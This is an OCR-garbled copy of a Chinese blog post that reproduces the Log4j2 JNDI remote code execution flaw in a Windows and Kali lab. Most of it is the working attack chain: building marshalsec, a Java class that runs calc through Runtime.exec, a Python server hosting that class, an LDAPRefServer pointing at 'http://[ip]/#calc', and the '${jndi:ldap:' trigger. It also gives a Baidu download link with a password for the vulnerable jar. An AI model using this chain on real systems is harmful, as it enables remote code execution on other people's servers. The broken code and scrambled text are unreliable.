Log4j 2 PR $hAT i A< th R DL

CleanMe F 2021-12-12 11:40:51 K i 4723
AERLER: RBEE CERSE: %4 javalogdj2

WK 7

RBUE B RSO EJRAISCE, MR CC 4.0 BY-SA FRAHML, HEIFH ERICH B MAE .

ACEERE: https://blog.csdn.net/m0_49490199/article/details/121883791
KA

1RXEO0ITH
BB

XEHZF
windows¥f 1538
kKaliFF 5544 2
HEAT By

HUHE

o Wit kali
o HFEHLEE: windows10

WA : log4j2 fi A/ F log4j-2.15.0-rc2 KIRRA

windowsif 1% & &


https://blog.csdn.net/m0_49490199
https://blog.csdn.net/m0_49490199/category_11533234.html
https://so.csdn.net/so/search/s.do?q=%25E5%25AE%2589%25E5%2585%25A8&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=java&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=log4j2&t=blog&o=vip&s=&l=&f=&viparticle=
http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/m0_49490199/article/details/121883791
https://blog.csdn.net/m0_49490199/category_11533234.html

windows 10+ % #jdk 1.8k 4

FTHF 2 5w R A i jar s, ST IEE 7 B B A, 7 B L
¥ hitps://pan.baidu.com/s/1Jn-hXXv2uXc_ WO06bJ9-46Q
REAS: cdqy

logging.
logging.

Log4jRCE A

main
java
log4jRCE
META-INF

kali¥f 35 #8 &t
jdkkg4<1.8

-[~/# @ /java_tset]
[j- e L ] L ]

Picked up JAVA OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
java version "1.8.0 20"

Java(TM) SE Runtime Environment (build 1.8.8 20-b26)

Java HotSpot(TM) 64-Bit Server VM (build 25.20-b23, mixed mode)
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F#imarshalsec

git clone https://github.com/mbechler/marshalsec.git

TF#maven

sudo apt-get install maven
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mvn clean package -DskipTests
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[ ] about.html already added, skipping

[WARNING] Configuration options: "appendAssemblyld' dswset®to false, and 'classifier' is miss
ing.

Instead of attaching the assembly file: /hWome/kiki/= @ /marshalsec/targetymarshalsec-0.0.3-5N
APSHOT-all.jar, it will become the fTite for main project artifact.

NOTE: IT multiple descriptors or descriptor-formats are provided for this praject, the value
of this file will be non-deterministic!

[WARNING] Replacing pre-existing project main-artifact file: /home/kiki/& B /marshalsec/targe
t/marshalsec-0.0.3-SNAPSHOT. jar

with assembly file: /home/kiki/s @& /marshalsec/target/marshalSec.0.0.3-SNAPSHOT-all.jar

]
] BUILD SUCCESS

1
] Total time: 16.015 s
] Finished at: 2021-12-12T11:17:04+08:00
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import java.lang.Runtime
import java.lang.Process
public class calc

static
try
Runtime rt = Runtime.getRuntime
String[] commands = {"calc"
Process pc = rt.exec(commands
pc.waitFor
catch (Exception e
javac4 #calc.java 3L

javac calc.java

Picked up ;JA?ﬁ_OPTIONS: -Dawt . useSystemAAFontSettings=on -Dswing.aatext=true
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calc.class calc.java
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python -m SimpleHTTPServer 8080

R [~/ T /java_tset]
python SimpleHTTPServer 8080

Serving HTTP on 0.0.0.0 port 8080
|
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java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://[ip]/#calc" 1234
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jave rshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "ht
2 . # c" 1234

Pi d up JAVA OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
Listening on 0.0.0.0:1234
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[main] ERROR log4jRCE - ${jndi:ldap:

finished with exit code 0

“ il B Terminal G Profiler CSDN @Clearme 4

T UAE BRSO B T AL A Hofhdy & thREPAT T



	Log4j2远程代码执行漏洞本地复现
	文章目录

	windows环境搭建
	kali环境搭建
	进行攻击

